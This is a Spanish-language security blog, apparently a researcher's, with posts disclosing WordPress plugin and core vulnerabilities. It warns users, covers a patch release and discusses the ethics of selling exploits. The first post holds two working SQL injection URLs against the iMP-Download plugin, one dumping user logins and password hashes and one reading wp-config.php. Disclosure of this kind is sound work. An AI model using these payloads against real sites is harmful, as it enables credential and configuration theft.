Categories
Seguridad Sql Injection Web WordPress

Eviten el uso del plugin iMP-Download para WordPress

Esta entrada que escribí meses atrás iba a quedar como borrador, pero visto las repercusiones en blogs hispanos sobre un supuesto nuevo problema de seguridad de WordPress, publico esta entrada porque el sitio afectado usaba este plugin -- no tengo idea si esto tiene relación con el ataque que sufrió.

En las primeras líneas del plugin iMP-Download, se puede apreciar el siguiente código:

php:

<?php
/*
Plugin Name: iMP Download
Version: 1.4.1
Plugin URI: http://www.inmypad.com/2007/01/wordpress-plugins-imp-download/
Author: Hardi P
Author URI: http://www.inmypad.com/
Description: Download manager for wordpress user featuring download count, force download, quicktag, members only, widgets, etc. Integrated with search engine to find your downloads easily and pagination on download list.
*/

if (isset($_GET['dl'])) {
        global $wpdb, $table_prefix;
       
        // require_once('../../../wp-blog-header.php');
        $option = get_option('iMP_Download_Option');
       
        $user_login = $_COOKIE['wordpressuser_' . COOKIEHASH];

        if ($option['dl_mo'] == 1 && !$user_login) {
                $login = get_settings('siteurl') . '/wp-login.php';
        ?>
                script type="text/javascript">
                        var mo = confirm("Guest are not allowed to download!" + "\n" + "Press 'OK' to login/register or press 'CANCEL' to go back.")
                        if (mo == true) {
                                window.location = "<?php echo $login; ?>";
                    } else {
                                window.location = document.referrer;
                        }
                </script
        <?php
                exit();
        }
       
        $dl_id = $_GET['dl'];
        $table_name = $table_prefix . 'imp_download';
       
        $wpdb->query("UPDATE $table_name SET dl_count=dl_count+1 WHERE dl_id='$dl_id'");
       
        $url = "SELECT dl_url FROM $table_name WHERE dl_id = $dl_id";
        $file = $wpdb->get_var($url);

        $file = str_replace(' ','%20',$file);
        $filename = basename($file);
       
        $mimetype = 'application/octet-stream'// Set mime-type
        header("Pragma: "); // Leave blank for issues with IE
        header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
        header("Content-Type: $mimetype");
        if ($option['dl_fd'] == 1) {
                if (ini_get('allow_url_fopen') == 0 && !function_exists('curl_init')) {
                        header('Location: '.$file.''); // Switch to normal download mode if allow_url_fopen is disabled and cURL is not available
                } else {
                        header('Content-Disposition: attachment; filename='.basename($filename)); // Force download activated
                }
               
                if (ini_get('allow_url_fopen') == 1) {
                        $file = fopen($file, "rb");
                        fpassthru($file);
                        exit();
                } elseif (function_exists('curl_init')) {
                        $ch = curl_init();
                        curl_setopt($ch, CURLOPT_URL, $file);
                        curl_setopt($ch, CURLOPT_HEADER, 0);
                        curl_exec ($ch);
                        curl_close ($ch);
                        exit();
                }
        } else {
                header('Location: '.$file.''); // Force download deactivated
                exit();
        }
}

Como se puede apreciar en las líneas 34 y 39, el parámetro dl no es validado adecuadamente; ésto permite que cualquier usuario pueda realizar ataques de inyección de SQL y hacer muchas cosas como:

code:

* Obtener el usuario y contraseña de cualquier usuario
http://localhost/wp/?dl=0/**/UNION/**/ALL/**/SELECT/**/concat(user_login,0x2d,user_pass)/**/FROM/**/wp_users/**/WHERE/**/ID=1

* Si allow_url_fopen está habilitado, existe la posibilidad de descargar cualquier archivo del servidor (./wp-config.php)
http://localhost/wp/?dl=0/**/UNION/**/ALL/**/SELECT/**/0x2E2F77702D636F6E6669672E706870

Dada la gravedad del problema, es recomendable que desactiven -- o corrijan -- cuanto antes el mencionado plugin.

Categories
Seguridad Web WordPress

WordPress 2.2.3

Actualización: Ya publicaron el anuncio oficial, que por cierto me causa un poco de gracia porque mencionan mi nombre y el nick que uso para reportar vulnerabilidades más leves. 😀

Finalmente ya está disponible la versión 2.2.3 de WordPress, que corrige múltiples problemas de seguridad, entre los cuales, uno permite obtener los datos de cualquier usuario de un blog afectado.

Los archivos que cambian con respecto a la anterior versión son:

  • wp-includes/default-filters.php
  • wp-includes/plugin.php
  • wp-includes/query.php
  • wp-includes/formatting.php
  • wp-includes/feed-rss2-comments.php
  • wp-includes/rewrite.php
  • wp-includes/version.php
  • wp-includes/pluggable.php
  • wp-includes/widgets.php
  • wp-includes/rss.php
  • wp-includes/vars.php
  • xmlrpc.php
  • wp-mail.php
  • wp-admin/admin-ajax.php
  • wp-admin/admin-functions.php
  • wp-admin/rtl.css
  • wp-admin/options.php
  • wp-admin/install-rtl.css
  • wp-admin/widgets-rtl.css

Cualquiera que esté usando WordPress 2.2.2 o versiones anteriores con permalinks habilitadas (a.k.a URL's amigables), tiene que actualizar si o si a la versión que acaban de liberar o a la beta 2 de WordPress 2.3, si no lo hace, por lo menos debe bloquear el acceso a xmlrpc.php.

Por otro lado, también me comentan que liberarán una nueva versión de WordPress MU en los próximos días.

Categories
Seguridad WordPress

WordPress: Lista de plugins no recomendados – Parte 2

Como seguramente saben, Weblog Tools Collection organizó un concurso de plugins para WordPress y hoy, casi un mes después que terminó el concurso, dan a conocer los resultados:

  1. El ganador del gran premio, el primero, de esta competición de Plugins para WordPress es para Anirudh Sanjeev por su plugin OneClick. OneClick es un plugin para WordPress y una extensión para Firefox que permite la instalación rápida y directa de plugins y temas en tu blog, con solo un clic. Ha recibido el premio más cuantioso, con un servidor dedicado básico para 6 meses (valorado en más de 1000 dólares) y un iPod Nano de 8 Gb (valorado en 600 dólares) o el dinero equivalente.
  2. El ganador del segundo premio es para Barry por su plugin MyDashboard. MyDashboard permite la rápida personalización del escritorio de WordPress.
  3. El ganador del tercer premio es para Keith Dsouza por su plugin WordPress Automatic Upgrade el cual permite actualizar de forma automática la instalación de tu WordPress desde la interfaz de administración.
  4. El ganador del premio de consolación ha sido Ozh por su plugin Who Sees Ads. WhoSeesAds es un maravillo e útil módulo que permite a los usuarios de WordPress determinar que anuncios se deben ver en cada momento en su blog.

Fuente

Luego de hacer unas pruebas en una instalación local de WordPress y ver someramente el código de estos plugins, veo que ninguno de ellos toma en cuenta el tema de seguridad, así que haré mi propia lista de plugins tomando como parámetro de ordenación el grado de peligrosidad (de mayor a menor):

  1. WordPress Automatic Upgrade: Permite a cualquier usuario no autenticado:
    • Generar y descargar los archivos de WordPress (incluye wp-config.php).
    • Generar y descargar una copia de seguridad de la base de datos donde está instalado el plugin.
    • Activar/Desactivar todos los plugins.
    • Actualizar la versión de WordPress.
  2. OneClick: Al ser vulnerable a CSRF, permite descargar plugins -- o código malicioso -- desde cualquier URL.
  3. Who Sees Ads: Es vulnerable a CSRF y XSS.
  4. MyDashboard: Es vulnerable a CSRF y XSS.

Si tienen esos plugins instalados (en especial los dos primeros), les sugiero que los desactiven cuanto antes, porque gracias a toda la publicidad que están recibiendo, seguramente pronto van a ser blanco de ataques.

Viendo estos ejemplos, no sé cómo algunos bloggers se quejan de la cantidad de fallos del código principal de WordPress y no dicen nada al respecto de los plugins, cuando muchas veces éstos últimos provocan problemas de seguridad aún más graves.

Categories
Seguridad

Venta de exploits

Hace unas horas recibí un correo de alguien que quiere comprar unos exploits para versiones nuevas WordPress y aunque no comparta la idea de lucrar con este tipo de cosas, sólo por curiosidad le respondí preguntándole cuánto pagaría por el exploit para la vulnerabilidad que estuve comentando estos días.

La venta de exploits es un tema bastante polémico, por un lado gente que quiere que su tiempo invertido en encontrar una vulnerabilidad sea recompensado de algún modo (ya sea por la empresa afectada o por alguien más) y por otro lado, aquellos que consideran que hacer esto es éticamente incorrecto.

To chime in on the debate some more. Vulnerability researchers such as myself spend a lot of time finding these holes and then reporting them via full disclosure. Out of experience I know not to contact the site affected directly as it will always be more hassle then it is worth.

And herein lies the problem. I don't have the financial resources to search full time for vulnerabilities and therefore need to work. But... if i was to say get some type of monetary compensation for my time then i could possible quit my job and spend those hours searching for vulnerabilities and as a result, help to make a great number of popular websites more safer.

Criminals on the other hand, do have the time and money to search for the vulnerabilities because when the find them, they expoilt them in order to obtain profit. So as you can see, until people start getting paid for reporting vulnerabilities, the number of actual holes found and reported will continue to be outweighed by the number of vulnerabilities found, exploited and not reported.

Hence, until we are rewarded for reporting vulnerabilities, users of sites such as myspace, google, ebay, paypal, yahoo, msn, facebook and pretty much any other highly frequented site should consider themselves and any data they choose to place on this sites free game and in the public arena.

Como mencioné al principio y a pesar de que en realidad necesito dinero para continuar con mis estudios, lucrar con la venta de exploits a terceros no me parece correcto, porque al fin y al cabo los que usan estas aplicaciones, no tienen la culpa de los errores que generalmente cometemos como desarrolladores.

Categories
Seguridad Web WordPress

¿Estamos seguros con la nueva versión de WordPress?

La salida de la versión 2.2.2 de WordPress me sorprendió un poco porque no incluye las correcciones a algunos problemas de seguridad que fueron reportados hace más de un mes, si bien es cierto que éstos no son muy peligrosos*, no se me ocurre ningún motivo válido para no haberlos resuelto (si mi memoria no me falla, incluso envié parches con posibles alternativas de solución). Todo parece indicar que la única forma de hacer que los desarrolladores de WordPress le den más importancia a este tipo de reportes, es liberar exploits que hagan uso de éstas vulnerabilidades.

Regresando al tema inicial, lamentablemente la última versión incluye -- al igual que las anteriores y la que actualmente está en desarrollo -- muchos problemas de seguridad, que en su mayoría se deben al uso de cadenas (tipo querystring) para pasar parámetros a funciones y a la ausencia de consultas parametrizadas. Unos cuantos bugs son graves (Fig. 1) y otros de relativa peligrosidad*, pero con el antecedente previo, no sé si me vayan a hacer caso.

Exploit for a Remote SQL Injection Vulnerability in WordPress
Fig. 1: Resultados de un exploit para una
vulnerabilidad de inyección de SQL en WordPress 2.x
(no requiere autenticación).

Es muy probable que la vulnerabilidad que se muestra en la imagen, obligue a los desarrolladores de WordPress a liberar una nueva versión y agregar así, otra raya más al tigre. Por otro lado, mientras no termine de escribir el advisory y me desocupe un poco, no tengo intenciones de dar a conocer los detalles y el exploit para este problema de seguridad. 😉

* Esos bugs son bastante más graves en WordPress MU.

A petición de Alex, pongo a disposición parches generados a partir de la versión en desarrollo de WordPress.